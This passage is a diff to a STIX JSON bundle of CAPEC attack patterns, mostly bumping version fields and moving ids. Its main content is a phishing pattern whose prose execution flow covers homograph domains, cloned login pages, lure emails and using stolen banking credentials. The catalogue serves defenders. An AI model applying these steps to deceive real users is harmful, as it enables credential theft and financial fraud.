exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An attacker has just collected the target's online banking information which can now be used by the attacker to log into the target's bank account and transfer money to a bank account of the attackers' choice." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Obtain domain name and certificate to spoof legitimate site: This optional step can be used to help the attacker impersonate the legitimate site more convincingly. The attacker can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.

    2. Techniques
    Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)
    Optionally obtain a legitimate SSL certificate for the new domain name.

  2. Explore legitimate website and create duplicate: An attacker creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.

    3. Techniques
    Use spidering software to get copy of web pages on legitimate site.
    Manually save copies of required web pages from legitimate site.
    Create new web pages that have the legitimate site's look at feel, but contain completely new content.

Exploit

  1. Convince user to enter sensitive information on attacker's site.: An attacker sends an e-mail to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to attacker's website) and log in. The key is to get the victim to believe that the e-mail is coming from a legitimate entity with which the victim does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.

    2. Techniques
    Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.
    Place phishing link in post to online forum.

  2. Use stolen credentials to log into legitimate site: Once the attacker captures some sensitive information through phishing (login credentials, credit card information, etc.) the attacker can leverage this information. For instance, the attacker can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.

    3. Techniques
    Log in to the legitimate site using another user's supplied credentials
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--0c786816-7b0c-4fe7-b657-7e339aea5498", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0c786816-7b0c-4fe7-b657-7e339aea5498", "source_ref": "course-of-action--b8cee0cf-4567-40f0-a8d6-0b1d71c03c27", "relationship_type": "mitigates", "target_ref": "attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896" }, { + "id": "attack-pattern--28be41f9-7246-4484-869d-f0e2e82690ee", "name": "DEPRECATED: XML Parser Attack", "description": "This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads and CAPEC-231: XML Oversized Payloads. Please refer to these CAPECs going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -47083,12 +52060,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--28be41f9-7246-4484-869d-f0e2e82690ee" + "x_capec_version": "3.3", + "type": "attack-pattern" } ], "type": "bundle", - "id": "bundle--efb39476-f294-441d-ba2d-2da25ed46d74", + "id": "bundle--27388855-6900-4668-aabe-6578f55278b7", "spec_version": "2.0" } \ No newline at end of file